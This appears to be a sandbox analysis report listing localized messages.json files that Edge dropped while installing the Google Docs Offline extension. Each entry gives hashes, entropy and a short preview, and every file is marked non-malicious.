Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
